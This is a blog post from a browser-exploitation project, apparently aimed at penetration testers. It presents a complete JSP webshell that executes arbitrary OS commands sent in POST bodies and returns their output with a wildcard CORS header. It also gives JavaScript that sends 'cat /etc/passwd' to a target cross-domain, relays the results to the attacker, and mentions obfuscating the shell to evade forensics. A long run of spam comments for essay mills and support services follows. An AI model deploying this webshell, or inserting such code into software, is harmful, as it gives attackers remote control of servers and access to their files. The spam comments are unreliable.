Tuesday, June 18, 2013

Cross-domain communication with a JSP shell from a browser hooked with BeEF

If you're a penetration tester, you have surely played with webshells before. There are plenty of webshell examples in multiple languages (e.g. Java (JSP), ASP, ASP.NET, PHP). Most of these webshells, including the Metasploit ones, give you either a bind or reverse shell running as the web or application server user (e.g. Tomcat, Apache, IIS).

This works fine when you want to use our BeEF Bind custom shellcode to exploit compiled software (kudos to our friend Ty Miller), but what can you do if you're able to upload a webshell to the target and you want bi-directional communication with that from the hooked browser?

If your target is a Java Application Server, for instance JBoss or GlassFish (see the exploits we ported to BeEF for both of them, inside the exploit directory), you can deploy the following JSP shell I wrote for that purpose.


In the BeEF project, we're obsessed with doing bad stuff entirely from the hooked browser, using it as a beachhead for launching attacks. One thing we usually exploit is the possibility to work directly in the internal network of the hooked browser. We effectively use the browser as a pivot point for further internal network pwnage. Unline with a normal pentest scenario, we can do this without even touching the file system or the memory of some processes.

If you're a frequent reader of our blog, you would probably remember Revitalizing the Inter-Protocol Exploitation with BeEF Bind, the post I wrote after RuxCon 2012. The whole idea of the technique described in that post was to bi-directionally interact with custom shellcode from the hooked browser. Such approach removes the need to open a reverse connection back to your attacker server, or to connect to the bind shell from a fully compromised machine (in the internal network). OS commands are sent by the hooked browser cross-domain using XMLHttpRequest and command results are appended in the HTTP response.

Let's take a look at code:

 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 // needed for cross-domain communication  
 response.setHeader("Access-Control-Allow-Origin", "*");  
 try{  
 // needed for handling text/plain data  
 BufferedReader br = request.getReader();  
 String line = br.readLine();   
 if(line != null){  
  String[] cmds = line.split("cmd=");  
  if(cmds.length > 0){  
   String cmd = cmds[1];  
   //executes the command  
   Process p = Runtime.getRuntime().exec(cmd);  
   // reads the command output  
   OutputStream os = p.getOutputStream();  
   InputStream in = p.getInputStream();  
   DataInputStream dis = new DataInputStream(in);  
   String disr = dis.readLine();  
   while(disr != null){  
   out.println(disr);  
   disr = dis.readLine();  
   }  
  }   
 }}catch(Exception e){  
 out.println("Exception!!");  
 }  
 %>  

Obviously, to defeat forensics, you might want to improve it adding polymorphism and obfuscation, but this is currently out of scope :D

Now, in order to re-create the same behavior of the BeEF Bind shellcode, we need the following requirements in our webshell:
  • every HTTP response must contain Allow-Access-From-Origin: * to allow bi-directional cross-domain communication with the hooked browser;
  • the JSP page must accept a POST request (Content-type text/plain) with a cmd parameter, which holds the command that will be executed;
  • the output of the executed command must be returned in the HTTP response.
The JSP webshell satisfies all the previous requirements, as you can read from the code. I used request.getReader() because I wanted to parse a text/plain request rather than the default application/x-www-form-urlencoded Content-type.

You can interact with the webshell cross-domain from the hooked browser with the following code:
 var uri = "http://your_target";  
 var port = 8080;  
 var path = "BeEF_Bind.jsp";  
 var cmd = "cat /etc/passwd"       
 xhr = new XMLHttpRequest();       
 xhr.onreadystatechange = function() {  
   if (xhr.readyState == 4) {  
     console.log(xhr.responseText);  
   }  
 }  
 xhr.open("POST", uri + ":" + port + "/" + path, true);  
 xhr.setRequestHeader("Content-Type", "text/plain");  
 xhr.setRequestHeader('Accept','*/*');  
 xhr.setRequestHeader("Accept-Language", "en");  
 xhr.send("cmd=" + cmd);  

The JSP shell accepts POST requests that contains cmd=<command> in the body, for instance cmd=ls, returning the command results back in the HTTP response.

As you can see from the following screenshot, the hooked page is at http://xxxker.com/beef_bind_xhr.html while the POST request sent with the previous snippet of JavaScript is sent to http://xxxvictim.com:8080/BeEF_Bind.jsp, confirming the cross-domain interaction. Obviously you want to replace the console.log line with beef.net.send() in order to send back to BeEF the command output.

BeEF Screenshot

Obviously, you can achieve the same results porting this code to ASP, ASP.NET, PHP and every other language you want. In this way you can exclusively use the hooked browser for both exploiting the vulnerability that leads to the webshell deployment, and to fully interact with it being stealthier,  potentially controlling a system in the hooked browser internal network.

Have fun with it!
anisnatchor

69 comments:

  1. I have read your blog its very attractive and impressive. I like it your blog.

    Java Training in Chennai Core Java Training in Chennai Core Java Training in Chennai

    Java Online Training Java Online Training JavaEE Training in Chennai Java EE Training in Chennai

    ReplyDelete
  2. Hi, Great.. Tutorial is just awesome..It is really helpful for a newbie like me.. I am a regular follower of your blog. Really very informative post you shared here. Kindly keep blogging. If anyone wants to become a Front end developer learn thru JavaScript Online Training India. Nowadays JavaScript has tons of job opportunities on various vertical industry.

    ReplyDelete
  3. I had doubts about my code until I learned a dozen blogs. Yours is one of them. My pay someone to write my essay site will soon be aired. Thank you for your assistance.

    ReplyDelete
  4. Some information about phone tracking applications you could find here. Its actually a pretty useful stuff that you could use on daily basis

    ReplyDelete
  5. happy wheels online features hilariously gruesome racing action. Survive wild courses without losing your limbs

    ReplyDelete
  6. Thanks for the post, I am techno savvy. I believe you hit the nail right on the head. I am highly impressed with your blog.
    It is very nicely explained. Your article adds best knowledge to our Java Online Training from India.
    or learn thru Java Online Training from India Students.

    ReplyDelete
  7. We are the best in Assignment Help Online.we have well educated experts. Students often feels issues in writing assignment, so to make students comfortable in assignment we help them to write their assignments. Our assignment experts works hard to live up to the expectations and provide total peace of mind.

    ReplyDelete
  8. We Provide Our Customers With Latest and up-to-date Dumps Questions & Answers with 100% Exam Passing Guarantee. We Promise Exceptional Success in First Attempt. PSE-Platform braindumps

    ReplyDelete

  9. In the BeEF project, we're obsessed with doing bad stuff entirely from the hooked browser, using it as a beachhead for launching attacks. One thing we usually exploit is the possibility to work directly in the internal network of the hooked browser. hostgator discount coupons

    ReplyDelete
  10. your administration charge would be $520 for a 520% APR. To which you have to make sure to include the first $100 that you acquired. Payday Loans Chicago

    ReplyDelete
  11. Get the best quality Saudi Arabia assignment help services for the college and university students in the USA. Our online writing services are provided by the expert and qualified writers who are always available for help in completing your assignments. Our writers offer original and 100% plagiarism free content.

    ReplyDelete
  12. The article you have shared here very good. This is really interesting information for me. Thanks for sharing!
    geometry dash

    ReplyDelete
  13. This code could break the structure of applications created on platforms like Android? Because this article explains step by step the installation of the file

    ReplyDelete
  14. Losing sleep over unfinished essays but can't afford the assistance of costly essay writers? Wondering whether the online service providers will write my essay cheap in UK? Facing a deadline for finishing the essay? Well, your anxieties end here. We have with us a team of cheap essay writers for UK students who can solve all your writing issues so that you score high grades in your essay assignment. They will deliver the completed essay to you well before the deadline. With decades of experience in helping students, this team of professional essay typers is the best in UK.

    ReplyDelete
  15. Get help from professional coursework writer to ease your writing tasks if you are struggling hard. We are the only online coursework writing service in the UK that caters to your every need. We are the finest British online coursework help agency to help students for almost a decade now. We always keep ourselves a step further from rest of the university coursework help UK.

    ReplyDelete
  16. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.

    Selenium with python Training in Electronic City

    ReplyDelete
  17. The change of direction line interfaces to graphical interfaces has brought about projects that are less demanding to learn and utilize, however harder to robotize and reuse I trust you will keep on having comparable presents on offer to everybody. Slice Dax Leather Jacket

    ReplyDelete
  18. I read your post. It is very informative and helpful to me. I admire the message valuable information you provided in your article. Thank you for posting, again! tik tok video

    ReplyDelete
  19. Being an academic writer from past 5 years providing assignment help writing services to college and university students also associated with Myassignmenthelp platform. I am dedicated in providing best online academic writing services to the college students at the affordable rates. assignment help experts

    ReplyDelete
  20. Completely a useful information! Thanks for sharing this abc assignment help

    ReplyDelete
  21. I found this one pretty fascinating and it should go into my collection. Very good work! I am Impressed. We appreciate that please keep going to write more content. We are the assignment helper, we provide services all over the globe. We are best in these services:-

    ReplyDelete
  22. This comment has been removed by the author.

    ReplyDelete
  23. Many of the people are depressed about the problems of essay writing. Well, don’t worry about that because we are providing this service at a very reasonable price.
    "Assignment help NZ
    "
    "Assignment help NZ
    "
    "Assignment help UK
    "
    "Assignment help US
    "
    "Assignment help Australia
    "
    "Assignment help Canada
    "
    "Assignment helper
    "
    "Assignment help
    "
    "Writing Assignment Help
    "
    "Help For Assignment
    "
    "Write my assignment help
    "

    ReplyDelete
  24. I loved the article, keep updating interesting articles. I will be a regular reader… I am offering assignment help to students over the globe at a low price.

    Digital Markrting Blog
    SEO Blog
    Social Media Blog
    Email Marketeting Blog
    Online marketing Blog

    ReplyDelete
  25. I found this one pretty fascinating and it should go into my collection. Very good work! I am Impressed. We appreciate that please keep going to write more content. We are the assignment helper, we provide services all over the globe. We are best in these services:-
    "Essay writing
    "
    "Essay Writer
    "
    "Article rewriter
    "
    "Essay writing service
    "
    "Essay writing help
    "
    "Write My Essay
    "
    "Write My Article
    "
    "Essay Helps
    "
    "Write my essay cheap
    "
    "Do my essay cheap
    "

    ReplyDelete
  26. Thanks for sharing this information. I have shared this link with others keep posting such information. to provide best in class law assignment help online at very affordable prices.
    "Assignment Help
    "
    "Assignment Helper
    "
    "Essay writing
    "
    "Essay writing service
    "
    "Dissertation help
    "
    "Thesis writing help
    "
    "Write My Essay
    "
    "Computer Science Assignment Help
    "
    "Assignment Help Soth Africa
    "
    "Assignment Writing Service
    "

    ReplyDelete
  27. Many of the people are depressed about the problems of essay writing. Well, don’t worry about that because we are providing this service at a very reasonable price.
    "Assignment Help
    "
    "Assignment Helper
    "
    "Essay writing
    "
    "Essay writing service
    "
    "Dissertation help
    "
    "Thesis writing help
    "
    "Write My Essay
    "
    "Do My Essay
    "
    "Hire Cheap Essay Writer
    "
    "College Essay Help
    "

    ReplyDelete
  28. ABC Assignment Help is an incomparable online economics assignment writing help delivering excellence in every academic assignment, essay or coursework. Through a team of over 3000 subject experts we offer individual attention to every student making the assignment help experience completely unique and stress-free for students aiming to score high in every assignment. Our services are available in over 100 subjects in a customized manner ensuring individual attention to every student.

    ReplyDelete

  29. I really thank you for the valuable info on this great subject and look forward to more great posts. Thanks a lot for enjoying this beauty article with us.
    I found one blog on top 10 parental control software for monitor kids digital activity.

    ReplyDelete
  30. Thanks for this informative content. It’s really good. Actually, I want to share some thoughts and reviews about an assignment help Australia company and the brand name is SAMPLE ASSIGNMENT. Here, I am working as an Academic Expert. To look at our online academic assistants who provide reference assignment including Accounting, Management, Finance, IT, Economics, Computer Science, Nursing, Marketing; all Academic subjects to University Students all over the Australia or even worldwide, Here is a big online assignment help providers who help students to get HD grades according to assessment guidelines and instructions. Those who are searching for assignment help Melbourne, Perth, Brisbane, Adelaide etc. get a touch with Sample Assignment - the No.1 Assignment provider. Any student really wants to buy an assignment at the cheapest price goes to our branded website and has a look and opts our amazing and informative services, you can avail of our convenient online assignment help and samples available on our website for free. You can download it if you want. Are you ready to get 100 out of 100 in your university assessment? We assign the best writer according to the subject for your academic problems and provide support in assignment writing services. Our Customer Care Executives are available 24*7 hours to assist you in the best possible manner. Phone calls and emails are the best methods used by assignment provider.

    ReplyDelete
  31. Thanks for the post and great tips. It’s nice to see that some people still know how to produce a quality post. Good luck with the site. free daily tarot

    ReplyDelete
  32. Thanks for sharing this information. I have shared this link with other keep posting such information to provide best in class law assignment help online at very affordable prices.
    Assignment help
    Assignment help
    Assignment help
    Python Programming Assignment
    Programming Assignment Experts
    Assignment help tutors
    Assignment help

    ReplyDelete
  33. I appreciate your efforts. This is really great work. Thank you for sharing these points. Keep up the good work you are doing here. Likewise check here: Tarot Cards for Love Reading

    ReplyDelete

  34. Usually, I never comment on blogs but your article is so convincing that I never stop myself to say something about it.
    Read Review of Bit Guardian Parental Control App And how it's help to secure your child digitally.

    ReplyDelete
  35. Outstanding article! I want people to know just how good this information is in your article. Your views are much like my own concerning this subject.
    Read Madhushala Poem Lyrics – Harivansh Rai Bachchan.

    ReplyDelete

  36. You are sharing the very informative and great post. It is effortless and easy to understand for me.
    Dental clinic in malviya nagar jaipur

    ReplyDelete
  37. Wow! its a Very Nice Blog, thankyou for writing such a beautiful blog,
    i really loved it just the way i like this one.
    Best Dental Hospital in jaipur.

    ReplyDelete





  38. EXCELLENT POST. I WAS REVIEWING THIS BLOG CONTINUOUSLY, AND I AM IMPRESSED! EXTREMELY HELPFUL INFORMATION ESPECIALLY THIS PAGE. Get
    buy assignment online service in singapore
    visit myassignmenthelp.com for instant help.

    ReplyDelete
  39. Nice Article! It has the information that I was looking for. Thanks you for sharing this information with us. Check out: Aries Horoscope

    ReplyDelete
  40. This is one of the finest post i have ever seen. The information is genuine and relatable and i am looking forward to avail the services of Assignment help.
    awesome blog post. We are really grateful for your blog post.

    ReplyDelete
  41. Thank you for posting such a great article! Are you struggling with your management assignments? Annex our professional assistance and yield better grades in your assignments. You can easily access our online management assignment writing help anytime.

    Human Resource Management Assignment Help
    Operations Management Assignment Help
    Organizational Behavior Assignment Help
    Business Development Assignment Help

    ReplyDelete
  42. Great post i must say and thanks for the information. Education is definitely a sticky subject. However, is still among the leading topics of our time. I appreciate your post and look forward to more home cleaning new york phuong phap luyen nghe sau

    ReplyDelete
  43. Drafting a term paper is not exactly a cake walk. Every semester, a significant number of students need online term paper writing services to get the task done. As you may know, it is generally assigned to students towards the end of their semester. Naturally, students find it difficult to focus on the task while preparing for the finals simultaneously. If you are also facing such a problem, we are here to help.

    ReplyDelete
  44. Your article looks good but I need info about oceanography. Do you have anything about this? I find this https://topdissertations.com/topics-oceanography-research-papers/. But I need more to compare it.

    ReplyDelete
  45. A great content material as well as great layout. Your website deserves all of the positive feedback it’s been getting. I will be back soon for further quality contents. https://kissenglishcenter.com/hoc-tieng-anh-giao-tiep-theo-chu-de/

    ReplyDelete
  46. Wow, accurate information, continue update me,Are you anxiety to accomplish your Assignment? Or are you trouble not to complete your assignment due to the compile time and run time error which is responsible not to complete your assignment? To resolve this you need Programming Help. My experience is that this is not your alone problem because a lot of students and learners especially fresher often faces such type of programming error, So after getting a lot of experience I started my own online Programming Assignment Help service company which offer Programming Homework Help Online in USA, UK, Canada, Australia, Singapore by highly and well - qualified professionals and experts.
    Programming Help
    Programming Homework Help
    Programming Assignment Help
    Online Programming Help

    ReplyDelete
  47. NZ Assignment provides Assignment help online and Assignment help services at cheapest price with 100% plagiarism and error free content. Assignment services can be easily available to University students at www.nzassignmenthelp.com.

    ReplyDelete
  48. Does Assignment affect your personal finance? Due to fines and modifications, if your financial prospects are not good, then give us a chance, we will ensure high grade and savings and increase in healthy personal finance and provide you the best quality content. So avail our dissertation help by professional dissertation writers of Singapore Assignment Help

    ReplyDelete
  49. Get the my assignment help online

    you deserve from one of the best writing services online! We work round the clock, have the lowest prices, and love helping students!

    ReplyDelete
  50. If you need best solution regarding Assignment help
    ,then visit my site.

    ReplyDelete
  51. Wow…. Very Nice Blog! When you are facing technical errors related to Quicken, our technical experts are technically experienced for solving common quicken problems in very nominal charges.
    Visit: Quicken Customer Support Number
    Quicken Customer Support Phone Number
    Quicken Customer Support
    Quicken Help
    Quicken Customer Service
    Quicken support Phone number

    ReplyDelete
  52. This post gives useful information to all who read it. Thanks for sharing great information. We are provides any technical issue related to Microsoft office products so you can connect with Outlook Support Phone Number .

    ReplyDelete
  53. Hire the dissertation helpers USA from students assignment help.com and get the best dissertation writing services from here at a very cheap price. And complete your Masters or PhD degree with the help of our dissertation experts very easily.

    ReplyDelete
  54. Are you seeking for ACADEMIC TRANSLATION SERVICES SINGAPORE? Here we provide academic translation service Singapore approved by the local authority. We have professional translators who can handle all kinds of translation work.

    ReplyDelete
  55. Thanks! Great post, we provide best solution regarding Quicken Help .Our experts and technicians are here to help you 24/7. You can also contact us by live chat.
    Quicken Error OL-301-A
    Quicken Error CC-800
    Quicken Error HTTP 504
    Quicken Customer Service Phone Number
    Quicken Customer Service Number
    Quicken support Phone number

    ReplyDelete
  56. Before hiring any service you must check assignment help reviews of their services. So that you can choose the best one. assignmnet help aaustralia

    ReplyDelete
  57. install kaspersky with activation code | How to install and activate kaspersky on multiple computers

    • Each copy of a multiple-device license for Kaspersky Anti-Virus 2019 (for example, a 3 PCs license) is installed and activated in the same way on all computers you want to protect.
    • In conclusion to activate Kaspersky Internet Security 2016 on all computers, use one and the same activation code you purchased.


    Install Kaspersky with activation code

    activate kaspersky internet security

    kaspersky geek squad download install

    usa.kaspersky.com/geeksquad

    Activate Kaspersky Internet Security for Mac

    reinstall kaspersky total security

    kaspersky without cd

    ReplyDelete
  58. All the student needs to do is to contact us, feed us the requirements of the assignment related to any academic field and we will ensure that the assignment work is up to the mark. Customer satisfaction is our number one priority and there is 100% guarantee that our students will score best grades in the assignments provided by Assignment studio.
    For further information & queries, Visit our website help on assignments

    ReplyDelete
  59. Even though some people use the words interchangeably, there is actually a difference between them as editing and proofreading are two different steps of revising the paper. They demand application of different strategies and techniques, and focus on different aspects of writing. However, the similarity they have is that they demand careful and detailed reading. For detailed description read this https://best-writing-service.net/editing-and-proofreading-guide.html.

    ReplyDelete